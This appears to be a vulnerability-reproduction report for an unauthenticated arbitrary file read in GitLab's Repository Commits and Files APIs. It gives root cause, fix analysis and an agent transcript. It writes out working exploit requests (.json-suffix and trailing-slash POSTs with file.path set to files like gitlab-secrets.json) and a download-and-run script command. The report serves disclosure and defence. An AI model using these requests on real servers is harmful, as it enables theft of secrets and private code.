Skip to content

CVE-2026-85706: Verified Reproduction

CVE-2026-85706: GitLab CE/EE unauthenticated path traversal in Repository Commits API leads to arbitrary file read

CVE-2026-85706 is verified against the affected target. Vulnerability class: Path Traversal. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00354.

REPRO-2026-00354 Path Traversal Vulnerable-path variant Sep 12, 2026 CVE entry .txt
Severity
CRITICAL
Confidence
HIGH
Reproduced in
138m 51s
Tool calls
181
Spend
$4.42
01 · Overview

What Is CVE-2026-85706?

CVE-2026-85706 is a critical-severity Path Traversal vulnerability. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00354).

02 · Severity & CVSS

CVE-2026-85706 Severity

CVE-2026-85706 is rated critical severity.

CRITICAL threat level
Weakness CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

How to Reproduce CVE-2026-85706

$ pruva-verify REPRO-2026-00354
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00354/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-85706

Information disclosure — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Unauthenticated POST http://target/api/v4/projects/<id>/repository/commits.json?file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=<arbitrary filesystem path> with HTTP header Content-Type: application/x-www-form-urlencoded and empty body

Attack chain
  1. nginx
  2. gitlab-workhorse (anchored route regex on clean path fails to classify .json-suffixed commits route, proxies raw request with signed Gitlab-Workhorse header)
  3. Rails/Grape strips .json suffix
  4. API::Commits post ':id/repository/commits' (require_gitlab_workhorse! only, no authenticate!)
  5. CommitsBodyUploaderHelper#file_params_from_body_upload
  6. File.exist?/File.read(params['file.path…
Variants tested

Alternate trigger for CVE-2026-85706 confirmed on the vulnerable build: the Repository Files API endpoints POST/PUT /api/v4/projects/:id/repository/files/:file_path (lib/api/files.rb) lack authenticate! in GitLab 19.3.1 and call the same CommitsBodyUploaderHelper#file_params_from_body_upload sink as the Repository Com…

How the agent worked 410 events · 181 tool calls · 2h 19m
2h 19mDuration
181Tool calls
77Reasoning steps
410Events
8Dead-ends
Agent activity over 2h 19m
Policy
1
Support
8
Repro
177
Judge
25
Variant
194
Verify
1
0:00138:36

Root Cause and Exploit Chain for CVE-2026-85706

Versions: 18.7 before 19.1.8, 19.2 before 19.2.6, 19.3 before

CVE-2026-85706 is an unauthenticated arbitrary local file read in GitLab CE/EE, reachable through the Repository Commits REST API. GitLab Workhorse classifies the commits body-upload accelerator route with an anchored regex on the clean (escaped) URI path; appending a .json format suffix to POST /api/v4/projects/:id/repository/commits defeats that classification, so Workhorse proxies the raw request to Rails with its signed Gitlab-Workhorse header. The Grape endpoint post ':id/repository/commits' (lib/api/commits.rb) calls require_gitlab_workhorse! but, in vulnerable versions, never calls authenticate!, and API::Helpers::CommitsBodyUploaderHelper#file_params_from_body_upload (lib/api/helpers/commits_body_uploader_helper.rb) takes the attacker-supplied flat request parameter file.path and uses it directly as a filesystem path: File.exist?(params['file.path']) followed by File.read(file_path). When the request also carries a parameter literally named Content-Type with value application/x-www-form-urlencoded, the file content is fed to Rack::Utils.parse_nested_query, and any invalid percent-escape in the file (e.g. %zz) makes Rack::QueryParser::InvalidParameterError embed the file content in its message, which the vulnerable rescue clause echoes verbatim in the HTTP 400 response body. Files without a parse-triggering byte are still confirmed readable through an existence oracle (local file not present vs a downstream 401/500). This was reproduced end-to-end on the real omnibus product (nginx → gitlab-workhorse → puma/Rails) with no sanitizers and no authentication.

  • Package/component affected: GitLab CE/EE omnibus — lib/api/commits.rb (Repository Commits API), lib/api/helpers/commits_body_uploader_helper.rb, and the GitLab Workhorse body-upload route classification for /api/v4/projects/[^/]+/repository/commits.
  • Affected versions: 18.7 before 19.1.8, 19.2 before 19.2.6, 19.3 before 19.3.2. Tested vulnerable: gitlab/gitlab-ce:19.3.1-ce.0 (image digest sha256:f63df4c43029fe91db370609c0b40a1e3585cebd06e3e9637d93a9a3030eb86e). Tested fixed: gitlab/gitlab-ce:19.3.2-ce.0 (image digest sha256:05453dd1d9aba27c2c487613141596868409b4d03247647f7d66cb0b36f321b8).
  • Risk level: Critical (CVSS 3.1 10.0, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). Any unauthenticated network attacker who can reach the web endpoint and can name an existing, anonymously routable project can read arbitrary files readable by the git service account — including /etc/gitlab/gitlab-secrets.json (demonstrated readable via the existence oracle: HTTP 500 downstream processing vs local file not present for a missing file), database credentials, Gitaly/Praefect tokens, and private repository content. With the secrets file disclosed, an attacker can forge signed cookies/tokens (I:H integrity impact in the CVSS vector).

Impact Parity

  • Disclosed/claimed maximum impact: unauthenticated arbitrary file read (info leak of any file readable by the GitLab service account), critical severity.
  • Reproduced impact from this run: full parity for the claimed read primitive —
    • Full content echo, attacker-chosen path: a canary file planted at /tmp/canary_85706_a1.txt containing PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END was read unauthenticated and its complete content was reflected in the response: {"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END)"}. Repeated with a distinct token in a second fresh-process attempt.
    • Existence oracle for arbitrary paths: /etc/passwd (existing) proceeds to downstream authorization (401), while a non-existent path returns 400 ... local file not present — confirming File.exist? is consulted on the attacker-controlled path.
    • Sensitive-file readability: /etc/gitlab/gitlab-secrets.json produced a downstream HTTP 500 (content read and processed), not local file not present, proving the secrets file is opened by the vulnerable code path.
    • Operative bypass control: the identical request without the .json suffix returns 401 Unauthorized on the vulnerable build — Workhorse classifies that route and authentication is enforced — proving the .json suffix is the operative route-matching bypass.
    • Fixed negative control: the identical .json-suffixed request against 19.3.2-ce.0 returns 401 Unauthorized in both attempts (no echo, no oracle) because authenticate! now runs before the upload handling.
  • Parity: full for the claimed info-leak impact.
  • Not demonstrated: post-read weaponization (e.g., forging signed requests from gitlab-secrets.json) — out of scope for the filed claim, which is the file-read primitive itself.

Root Cause

  1. Missing authentication on a Workhorse-only endpointlib/api/commits.rb (v19.3.1), endpoint post ':id/repository/commits':
    post ':id/repository/commits' do
      require_gitlab_workhorse!
      attrs = file_params_from_body_upload   # <-- reads a file BEFORE any authz
      ...
    
    The endpoint trusts that the Workhorse body-upload middleware already finalized the upload (the design assumption is that file.path/file.size only ever come from Workhorse's signed multipart finalization), so it never calls authenticate! and reads the raw Grape params.
  2. Raw request parameter used as a filesystem pathlib/api/helpers/commits_body_uploader_helper.rb (v19.3.1):
    def file_params_from_body_upload
      file_path = params['file.path']
      bad_request!('local file not present') unless File.exist?(file_path)
      ...
      elsif media_type == 'application/x-www-form-urlencoded'
        Rack::Utils.parse_nested_query(File.read(file_path)).deep_symbolize_keys!
      rescue Rack::QueryParser::InvalidParameterError => e
        bad_request!("Invalid parameter: #{e.message}")   # e.message embeds file content
    
    params['file.path'], params['file.size'] and params['Content-Type'] are ordinary flat request parameters (Rack keeps file.path flat because its nested-query syntax uses file[path], not file.path), so a plain URL query string controls the path that File.exist?/File.read open. The requires :file, type: WorkhorseFile declaration is satisfied by a blank file= parameter because WorkhorseFile.parse returns nil for blank values.
  3. Workhorse route-matching bypass — Workhorse decides whether a request is a commits body-upload (which it would intercept and finalize) by matching an anchored regex against the clean (escaped) request path. The .json format suffix makes the path not match the accelerator route, so Workhorse simply proxies the raw request to Rails — while Rails/Grape strips the .json suffix and routes it to the commits endpoint. Result: the endpoint is reachable with Workhorse's signed header but without Workhorse's upload finalization and without authentication.
  4. Fix (v19.3.2) — public tag diff v19.3.1 → v19.3.2:
    • authenticate! added to post ':id/repository/commits' and to workhorse_authorize_commits_body_upload! ("Authenticate before Workhorse buffers the request body to disk").
    • file_params_from_body_upload now trusts only middleware-finalized upload metadata: uploaded_file = params[:file]; bad_request!('file is invalid') unless uploaded_file.is_a?(::UploadedFile); path and size come from the UploadedFile object, never raw params.
    • Rescue clauses no longer echo e.message.

Reproduction Steps

  1. Reference: bundle/repro/reproduction_steps.sh (self-contained; executed twice consecutively, both runs passing).
  2. What the script does:
    • Pulls the immutable official images gitlab/gitlab-ce:19.3.1-ce.0 (vulnerable) and gitlab/gitlab-ce:19.3.2-ce.0 (fixed) and records their digests.
    • Boots the real omnibus product (nginx → gitlab-workhorse → puma/Rails → gitaly/postgresql/redis) in Docker, waits for a real HTTP health check (/users/sign_in = 200, /api/v4/version responding).
    • Captures in-container target binding: the shipped commits_body_uploader_helper.rb (5 raw file.path references, 0 authenticate references on 19.3.1; authenticate! present on 19.3.2).
    • Creates a publicly routable demo project through the real Rails service (gitlab-rails runner), needed only so the URL routes.
    • Sends the unauthenticated attacker request through the real HTTP boundary: POST /api/v4/projects/1/repository/commits.json?file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=<target> with header Content-Type: application/x-www-form-urlencoded and empty body.
    • Vulnerable build, attempt 1 (fresh boot): canary-with-%zz read (content echo), /etc/passwd (existence oracle), /etc/gitlab/gitlab-secrets.json (sensitive-file oracle), missing-file control, and the no-.json-suffix control (401).
    • Vulnerable build, attempt 2: docker restart for fresh processes, a second distinct canary, plus controls.
    • Fixed build, attempts 1 and 2 (fresh boot + restart): identical .json-suffixed attack.
  3. Expected evidence of reproduction (all observed in this run):
    • repro/artifacts/http/vuln_attempt1_canary_response.txt / vuln_attempt2_canary_response.txt: HTTP 400 with Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_<per-attempt-token>_PCTBYTE_%zz_END) — arbitrary file content disclosure.
    • vuln_attempt1_missingfile_response.txt: HTTP 400 local file not present (vs /etc/passwd 401, gitlab-secrets.json
      1. — existence oracle.
    • vuln_attempt1_nosuffix_response.txt / vuln_attempt2_nosuffix_response.txt: HTTP 401 — the .json suffix is the operative bypass.
    • fixed_attempt1_canary_response.txt / fixed_attempt2_canary_response.txt: HTTP 401 Unauthorized — fixed version fails closed.

Evidence

  • Script + diagnostics: bundle/repro/reproduction_steps.sh, bundle/logs/reproduction_steps.log (per-run diagnostic transcript).
  • Finalized per-request evidence (request URL, headers, status, body): bundle/repro/artifacts/http/*.txt, SHA-256-bound in bundle/repro/runtime_manifest.json.
  • Key excerpts (vulnerable 19.3.1, unauthenticated):
    • Canary attempt 1 → {"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END)"}
    • Canary attempt 2 (fresh processes) → {"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA2_5eed2badcafe_PCTBYTE_%zz_END)"}
    • Missing file → {"message":"400 Bad request - local file not present"}
    • /etc/passwd{"message":"401 Unauthorized"} (read succeeded, parse clean, downstream auth failure — existence oracle)
    • /etc/gitlab/gitlab-secrets.json{"message":"500 Internal Server Error"} (secrets content read and processed downstream)
    • Same request without .json{"message":"401 Unauthorized"} (Workhorse classifies the route)
  • Fixed 19.3.2, same attack → {"message":"401 Unauthorized"} (both attempts).
  • Environment: Docker (rootless) on Linux x86-64, 4 vCPU, 31 GB RAM; official images as above; no sanitizers; product-mode proof through the real nginx/workhorse/puma HTTP boundary.

Recommendations / Next Steps

  • Upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later immediately; the endpoint now authenticates before Workhorse buffers the body and only trusts middleware-finalized UploadedFile metadata.
  • Defense-in-depth:
    • Route/classification logic in proxies (Workhorse) and application routing (Rails/Grape format-suffix stripping) must agree on path canonicalization; anchored regexes on escaped paths should account for format suffixes.
    • Never echo raw exception messages (e.message) to API clients.
    • Parameters sourced from signed middleware handoff (e.g. file.path, file.size) should be carried in a tamper-proof envelope, not re-accepted from the raw request.
  • Testing: regression test that an unauthenticated POST /api/v4/projects/:id/repository/commits.json with flat file.path/file.size/Content-Type query parameters returns 401 before any filesystem access, on both the accelerator-classified and non-classified (suffixed) path shapes.

Additional Notes

  • Idempotency: the script removes prior containers at start, reuses pulled images, truncates its diagnostic log per run, and re-creates the demo project (idempotent find_by(name:)). It was executed twice consecutively with identical CONFIRMED results.
  • Limitations / edge cases:
    • Full content echo requires a parse-triggering byte in the target file (invalid %-escape such as %zz, or invalid UTF-8). Benign-charset files (e.g. stock /etc/passwd) still yield a reliable existence/readability oracle (local file not present vs downstream 401/500); an attacker can force echo for any file by causing downstream processing of parsed params, or simply exploit the oracle.
    • The exploit needs an existing, anonymously routable (public or internally exposed) project id in the URL; no credentials of any kind are required.
    • Raw ../ traversal inside the URL path is blocked by GitLab's generic path-traversal middleware on both builds; the operative bypass is the .json suffix on the route plus the file.path query parameter, exactly as claimed.

Variant Analysis & Alternative Triggers for CVE-2026-85706

Versions: versions (as tested):Fixed: gitlab/gitlab-ce:19.3.2-ce.0, image digest

The parent CVE is an unauthenticated arbitrary file read reached by appending a .json format suffix to POST /api/v4/projects/:id/repository/commits, which defeats GitLab Workhorse's anchored route regex (^/api/v4/projects/[^/]+/repository/commits\z) so Workhorse proxies the raw request to Rails, where the vulnerable Grape endpoint (only require_gitlab_workhorse!, no authenticate!) feeds the attacker-controlled file.path request parameter straight into File.exist? / File.read via API::Helpers::CommitsBodyUploaderHelper#file_params_from_body_upload.

This variant analysis audited every Workhorse-accelerated route (regexes extracted from the shipped gitlab-workhorse Go binaries of both the vulnerable 19.3.1-ce.0 and fixed 19.3.2-ce.0 omnibus images — they are identical, i.e. Workhorse was not changed by the fix) against every Rails handler that trusts the Workhorse body-upload finalization contract.

Runtime outcome (confirmed live on the real omnibus stack, twice):

  1. A distinct ALTERNATE TRIGGER is confirmed on the vulnerable 19.3.1 build. The sibling Repository Files API endpoints POST/PUT /api/v4/projects/:id/repository/files/:file_path in lib/api/files.rb also lack authenticate! in 19.3.1 and call the identical file_params_from_body_upload sink. Their Workhorse regex (^/api/v4/projects/[^/]+/repository/files/[^/]+\z) ends in a wildcard segment that a format suffix cannot defeat, but a trailing slash (.../repository/files/vfile.txt/) both (a) makes the clean path end in / so the \z-anchored regex does not match (Workhorse does not classify / does not intercept), and (b) still routes to the create/update-file Grape endpoints. The unauthenticated request POST /api/v4/projects/1/repository/files/vfile.txt/?file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=/tmp/canary_85706v.txt returned the full canary content in the response body: {"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_VCANARY_VC1_d41d8cd98f00_PCTBYTE_%zz_END)"} (same for PUT). This is a materially different entry point (different API endpoint, different HTTP method surface, different regex-defeat encoding) into the same sink and the same root cause.
  2. A second encoding of the parent bypass was also confirmed: a trailing slash on the commits route (POST /api/v4/projects/1/repository/commits/) reproduces the same canary echo as the .json suffix (same endpoint, so this is an encoding variant, recorded as corroborating evidence).
  3. NO BYPASS of the fixed 19.3.2 build exists for any tested path. All matrix entries against 19.3.2-ce.0 (.json-suffixed and trailing-slash commits, trailing-slash/plain/.json files POST/PUT, and both /authorize.json probes) return 401 Unauthorized with no file-content echo and no existence oracle, because authenticate! now runs before file_params_from_body_upload in all three endpoints and in workhorse_authorize_commits_body_upload!, and the sink only accepts JWT-middleware-finalized ::UploadedFile objects.

Fix Coverage / Assumptions

  • Invariant the fix relies on: after the fix, using the commits/files body-upload endpoints requires (1) passing authenticate! first, and (2) receiving a middleware-finalized ::UploadedFile. Gitlab::Middleware:: Multipart constructs ::UploadedFile only from a JWT signed with the Workhorse secret (Gitlab-Workhorse-Multipart-Fields header / upload.gitlab-workhorse-upload param), and UploadedFile.from_params File.realpaths the path and rejects anything outside the allowed upload directories. Client-supplied multipart produces Rack::Multipart::UploadedFile / ActionDispatch::Http::UploadedFile, which are not ::UploadedFile400 file is invalid. Verified sound in the shipped 19.3.2 source.
  • What the fix covers: lib/api/commits.rb post ':id/repository/commits', lib/api/files.rb post/put ':id/repository/files/:file_path' (authenticate! added), and lib/api/helpers/commits_body_uploader_helper.rb (authenticate in workhorse_authorize_commits_body_upload!; sink restricted to ::UploadedFile; no e.message echo). Runtime-verified: all covered paths return 401 on 19.3.2.
  • What the fix does NOT cover (residual, defense-in-depth):
    • Workhorse route classification itself is unchanged (regexes byte-identical between the two binaries); every \z-anchored route remains suffix/trailing-slash defeatable. The defense lives only in the Rails handlers.
    • No ::API::NO_FORMAT_SUFFIX_REQUIREMENT (defined in both versions and used by packages/releases routes) was applied to the commits route — /repository/commits.json and /repository/commits/ still route in 19.3.2; only authenticate! blocks them.
    • A CI-level invariant that any endpoint under a Workhorse-accelerated route must call authenticate!/authenticate_job! is absent; a future endpoint with only require_gitlab_workhorse! would reintroduce the bug class.

Variant / Alternate Trigger

Confirmed alternate trigger (vulnerable 19.3.1 only):

  • Entry point: POST (and PUT) http://<target>/api/v4/projects/<id>/repository/files/<any-file-path-segment>/ (trailing slash required) with query file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=<arbitrary filesystem path>, header Content-Type: application/x-www-form-urlencoded, empty body, unauthenticated.
  • Code path: nginx → gitlab-workhorse (clean path /api/v4/projects/1/repository/files/vfile.txt/ does not match ^/api/v4/projects/[^/]+/repository/files/[^/]+\z → raw proxy with signed internal header) → Rails/Grape routes the trailing-slash path to API::Files post/put ':id/repository/files/:file_path' (lib/api/files.rb, 19.3.1 lines 362/407: require_gitlab_workhorse! only, no authenticate!) → CommitsBodyUploaderHelper#file_params_from_body_uploadFile.exist?/File.read(params['file.path'])Rack::Utils.parse_nested_query(file content)InvalidParameterError message (embedding the file content) echoed in the 400 response.
  • Corroborating encoding variant: POST /api/v4/projects/1/repository/commits/ (trailing slash instead of .json) — same endpoint as the parent claim, so not counted as a distinct trigger.

Tested and ruled out (see patch_analysis.md coverage matrix): every other Workhorse-accelerated route (projects/:id/uploads, wikis attachments, alert metric images, jobs artifacts/sbom scans, project/group import, placeholder reassignments, terraform state, all packages routes, user/group/organization avatar upload, web /uploads/* and /import/* routes) enforces its own authentication in both 19.3.1 and 19.3.2; terraform/packages regexes are prefix-based and not suffix/trailing-slash defeatable. GET /api/v4/geo/proxy is Workhorse-only without authenticate! but discloses only Geo proxy configuration (EE-only, no file access) — a different sink, not the same root cause. Controls proving the mechanism: the plain files path (/repository/files/vfile.txt, no trailing slash) is intercepted by Workhorse (pre-authorized via the then-unauthenticated authorize endpoint, body finalized to an empty tempfile) and returns 400 branch is required without any file read — the attacker's file.path param is overridden by workhorse's finalized multipart params; only the trailing-slash (unintercepted) form reaches the vulnerable raw-param path.

  • Package/component affected: GitLab CE/EE omnibus — lib/api/files.rb (Repository Files API), lib/api/commits.rb, lib/api/helpers/ commits_body_uploader_helper.rb, gitlab-workhorse route classification.
  • Affected versions (as tested):
    • vulnerable: gitlab/gitlab-ce:19.3.1-ce.0, image digest sha256:f63df4c43029fe91db370609c0b40a1e3585cebd06e3e9637d93a9a3030eb86e, gitlab-rails build revision 668508315ee5b5a59aa018424f741c27e81bafe1 (from /opt/gitlab/version-manifest.txt).
    • fixed: gitlab/gitlab-ce:19.3.2-ce.0, image digest sha256:05453dd1d9aba27c2c487613141596868409b4d03247647f7d66cb0b36f321b8, gitlab-rails build revision 34042bf7d00ca54c5e04079df6cdc6151485fd46.
    • Per the advisory: all 18.7 before 19.1.8, 19.2 before 19.2.6, 19.3 before 19.3.2.
  • Risk level: Critical — the alternate trigger inherits the parent CVE's full CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) impact class on unpatched instances: unauthenticated arbitrary file read as the git service account (/etc/gitlab/gitlab-secrets.json, DB credentials, Gitaly/Praefect tokens, private repository content).

Impact Parity

  • Disclosed/claimed maximum impact (parent CVE): unauthenticated arbitrary file read of any file readable by the GitLab service account.
  • Reproduced impact from this variant run (on 19.3.1):
    • Full attacker-chosen file content echo through the Files API alternate trigger: complete canary content reflected in the 400 response body for both POST and PUT (see vuln_t3_files_post_slash.txt / vuln_t4_files_put_slash.txt).
    • Full content echo also via the trailing-slash commits encoding (vuln_t2_commits_slash.txt).
    • Controls: plain-path files request (Workhorse-intercepted) does not read the attacker path (400 branch is required, no echo) — the echo depends on the Workhorse regex being defeated, exactly as in the parent mechanism.
  • Parity: full for the claimed info-leak primitive, via a distinct entry point on the vulnerable version; none on the fixed version (no bypass).
  • Not demonstrated: post-read weaponization (forging signed tokens from gitlab-secrets.json); out of scope for the filed file-read claim.

Root Cause

Same underlying root cause as the parent CVE: Workhorse classifies body-upload-accelerated API routes with \z-anchored regexes on the clean (escaped) request path, while Rails/Grape routes the same request after stripping an optional (.:format) suffix (and tolerating trailing slashes) — the two layers disagree about the request's identity. An endpoint that relies solely on require_gitlab_workhorse! (which only asserts "the request transited Workhorse", true for all omnibus traffic) and on Workhorse having finalized the upload is exploitable whenever Workhorse's regex fails to match but Rails still routes. In 19.3.1 the commits and files body-upload endpoints both lacked authenticate! and both read params['file.path'] as a filesystem path; the parent PoC used .json on the commits route, this analysis shows a trailing slash defeats the same regexes and additionally defeats the files-route wildcard tail. The v19.3.2 fix (Rails-side only; Workhorse binary unchanged) adds authenticate! to all three endpoints plus the authorize helper and restricts the sink to JWT-finalized ::UploadedFile objects with upload-directory allowlisting. No fix commit SHA is embedded in the images; the fix was verified by diffing the shipped Rails source of the two immutable official image tags (exact build revisions recorded in source_identity.json).

Reproduction Steps

  1. Reference: bundle/vuln_variant/reproduction_steps.sh (self-contained, idempotent; executed twice end-to-end with identical results, exit code 1 = "no bypass on fixed" both times).
  2. What the script does:
    • Pulls immutable official images gitlab/gitlab-ce:19.3.1-ce.0 and gitlab/gitlab-ce:19.3.2-ce.0, records digests, boots the real omnibus stack (nginx → gitlab-workhorse → puma/Rails → gitaly/postgresql/redis) with real HTTP health checks, creates a public demo project via gitlab-rails runner, and plants a canary file /tmp/canary_85706v.txt = PRUVA85706_VCANARY_VC1_d41d8cd98f00_PCTBYTE_%zz_END.
    • Captures target binding per version: the shipped commits.rb/files.rb endpoint blocks (proving 19.3.1 files endpoints lack authenticate! and 19.3.2 has it), VERSION, and the workhorse route regexes.
    • Sends the unauthenticated attack matrix through the real HTTP boundary on both versions: T1 commits .json; T2 commits /; T3/T4 files POST/PUT trailing slash (alternate-trigger candidates); T5/T6 files plain / .json (Workhorse-intercepted controls); T7/T8 commits/files /authorize.json probes.
    • Records machine-readable results to bundle/logs/vuln_variant/matrix_results.json; exit 0 only if a file read reproduces on the fixed build (true bypass).
  3. Expected evidence of reproduction:
    • vuln_t3_files_post_slash.txt / vuln_t4_files_put_slash.txt: HTTP 400 with Invalid parameter: invalid %-encoding (PRUVA85706_VCANARY_VC1_d41d8cd98f00_PCTBYTE_%zz_END) — unauthenticated arbitrary file read via the Files API (alternate trigger).
    • vuln_t2_commits_slash.txt: same echo via the trailing-slash commits encoding; vuln_t1_commits_json.txt: parent-trigger baseline echo.
    • vuln_t5_files_post_plain.txt: 400 branch is required (no read) — the Workhorse-intercepted control.
    • All fixed_*.txt: HTTP 401 {"message":"401 Unauthorized"} — fix blocks every tested entry point on 19.3.2 (no bypass).

Evidence

  • Run log: bundle/logs/vuln_variant/reproduction_steps.log (two full runs)
  • Machine-readable matrix: bundle/logs/vuln_variant/matrix_results.json
  • Version/digest identity: bundle/logs/vuln_variant/vulnerable_version.txt, bundle/logs/vuln_variant/fixed_version.txt
  • Workhorse regex extraction + cross-version diff: bundle/logs/vuln_variant/workhorse_regexes.txt (regexes identical between 19.3.1 and 19.3.2 binaries — only unrelated adjacent string-fragment noise differs)
  • HTTP captures: bundle/vuln_variant/artifacts/http/*.txt
  • Target binding: bundle/vuln_variant/artifacts/http/target_binding_vuln.txt (19.3.1: files.rb create/update endpoints show require_gitlab_workhorse! with no authenticate!) and target_binding_fixed.txt (19.3.2: authenticate! present)
  • Environment: Docker (rootless, overlay2), 8 CPUs / 31 GiB RAM, linux x86_64; GitLab omnibus containers with GITLAB_ROOT_PASSWORD env and public demo project demo85706v (id 1).

Recommendations / Next Steps

  • The shipped 19.3.2 fix does cover the alternate trigger found here (files.rb endpoints + authorize helper authenticate before the sink), so no emergency action is needed beyond upgrading to 19.1.8/19.2.6/19.3.2.
  • Defense-in-depth for the underlying classification mismatch:
    1. Apply ::API::NO_FORMAT_SUFFIX_REQUIREMENT to post ':id/repository/commits' (constant already exists in lib/api.rb and is used by packages/releases routes) so /commits.json no longer routes at all.
    2. Teach Workhorse's \z-anchored API route regexes to tolerate format suffixes and trailing slashes (e.g. (?:\.[a-z]+)?/?\z) so classification matches what Rails will route — currently a trailing slash defeats every \z-anchored route, including uploads, artifacts, and metric_images.
    3. Add a CI/rubocop invariant: any Grape endpoint under a Workhorse-accelerated route must call authenticate! / authenticate_job! (or an explicitly documented equivalent) before using upload params.

Additional Notes

  • Idempotency: the script tears down containers (with -v plus volume prune — the rootless-docker storage pool is a 12G tmpfs that otherwise fills with anonymous GitLab volumes, which was the cause of an initial boot failure) and re-runs cleanly; verified by two consecutive complete runs with identical results and exit code 1.
  • The /authorize.json probes (T7/T8) return HTTP 500 on 19.3.1 (exception in the authorize handler when invoked outside the Workhorse pre-authorization flow) and 401 on 19.3.2 — recorded as coverage probes; they do not read files.
  • Fixed-version identity is the official immutable image tag 19.3.2-ce.0 (the patched release named in the advisory); exact source identity in bundle/vuln_variant/source_identity.json.

CVE-2026-85706 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:49
0:00
session startedaccounts/fireworks/models/glm-5p3 · CVE-2026-85706 · REPRO-20
0:03
0:05
web search
0:19
0:19
extract_facts
no facts extracted
0:21
0:21
supportclaim_contract
0:30
0:30
0:30
0:31
0:31
0:31
0:39
0:40
0:42
$docker ps 2>&1 | head -5; echo "---"; docker images 2>&1 | grep -i gitlab | head -10; echo "---"; df -h / /var/lib/docker 2>&1 | head -5; free -g | head -2; nproc
0.4s
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
---
---
df: /var/lib/docker: No such file or directory
Filesystem      Size  Used Avail Use% Mounted on
overlay         145G   13G  133G   9% /
               total        used        free      shared  buff/cache   available
Mem:              31           0          30           0           0          30
0:43
$cat /workspace/bundle/ticket.json | head -100; echo "===="; ls -la /workspace/bundle/repro/ /workspace/bundle/logs/repro/ 2>&1
0.4s
{"cwd":"/workspace","duration_ms":55,"exit_code":0,"stderr":"","stdout":"{\"claim\":{\"argus_claim_ref\":null,\"attacker_control\":\"unauthenticated attacker sends POST request with URL carrying .json suffix plus URL-encoded path traversal (%2F, ..%2F) in Repository Commits REST API area\",\"claimed_surface\":\"api_remote\",\"expected_impact\":\"info_leak\",\"finding_id\":null,\"id\":null,\"required_entrypoint_detail\":\"Repository Commits REST API endpoint (POST request with .json suffix and URL-encoded path traversal in URL path)\",\"required_entrypoint_kind\":\"endpoint\",\"submission_reason\":\"ticket_derived_llm\",\"trigger_class\":\"service_api\",\"upstream_verdicts\":{\"claim_extraction\":{\"confidence\":\"high\",\"model\":\"accounts/fireworks/models/kimi-k2p7-code\",\"reason\":\"Ticket describes a validated unauthenticated arbitrary file read in GitLab CE/EE via Repository Commits REST API: POST with .json suffix and URL-encoded traversal bypasses Workhorse route matching, reaches Rails/Grape commits endpoint, and leaks arbitrary files readable by git/gitlab service account.\",\"source\":\"llm\"}}},\"demonstration\":null,\"latest_description\":\"CVE-2026-85706 (CVSS 10.0, C… [truncated]
1:07
1:07
$ls -la /pruva/project-cache/ 2>&1; echo "---"; cat /pruva/project-cache/.pruva/cache_manifest.json 2>&1; echo "---"; ls /workspace/bundle/support/ /workspace/bundle/logs/support/ 2>&1; echo "---"; cat /workspace/bundle/.pruva/run_attempt.json
0.5s
total 4
drwx------ 4 vscode vscode   80 Sep 12 05:52 .
drwxr-xr-x 3 root   root   4096 Sep 12 05:52 ..
drwx------ 2 vscode vscode   60 Sep 12 05:52 .pruva
drwx------ 2 vscode vscode   40 Sep 12 05:52 repo-mirrors
---
{
  "schema_version": 1,
1:08
$docker version --format '{{.Server.Version}}' 2>&1; docker info 2>&1 | grep -iE 'storage|cgroup|root dir' | head -5
0.5s
27.5.1
 Storage Driver: overlay2
 Cgroup Driver: none
 Cgroup Version: 2
  cgroupns
 Docker Root Dir: /home/rootless/.local/share/docker
1:11
1:11
1:44
1:46
$cd /tmp && for tag in v19.3.1 19.3.1; do for f in lib/api/helpers/commits_body_uploader_helper.rb; do url="https://gitlab.com/gitlab-org/gitlab/-/raw/$tag/$f" code=$(curl -sL -o "/tmp/cbu_${tag}.rb" -w '%{http_code}' "$url") echo "$tag $f -> $code ($(wc -c < /tmp/cbu_${tag}.rb 2>/dev/null))" done done
1.8s
v19.3.1 lib/api/helpers/commits_body_uploader_helper.rb -> 404 (2679)
19.3.1 lib/api/helpers/commits_body_uploader_helper.rb -> 404 (2679)
1:49

Artifacts and Evidence for CVE-2026-85706

Scripts, logs, diffs, and output captured during the reproduction.

bundle/repro/artifacts/http/vuln_attempt2_missingfile_response.txt0.9 KB
bundle/repro/artifacts/http/vuln_attempt2_nosuffix_response.txt0.8 KB
bundle/repro/rca_report.md13.6 KB
bundle/repro/reproduction_steps.sh15.4 KB
bundle/repro/runtime_manifest.json3.2 KB
bundle/repro/validation_verdict.json1.8 KB
bundle/logs/vuln_variant/fixed_version.txt0.1 KB
bundle/logs/vuln_variant/matrix_results.json0.6 KB
bundle/logs/vuln_variant/reproduction_steps.log3.7 KB
bundle/logs/vuln_variant/vulnerable_version.txt0.1 KB
bundle/logs/vuln_variant/workhorse_regexes.txt7.4 KB
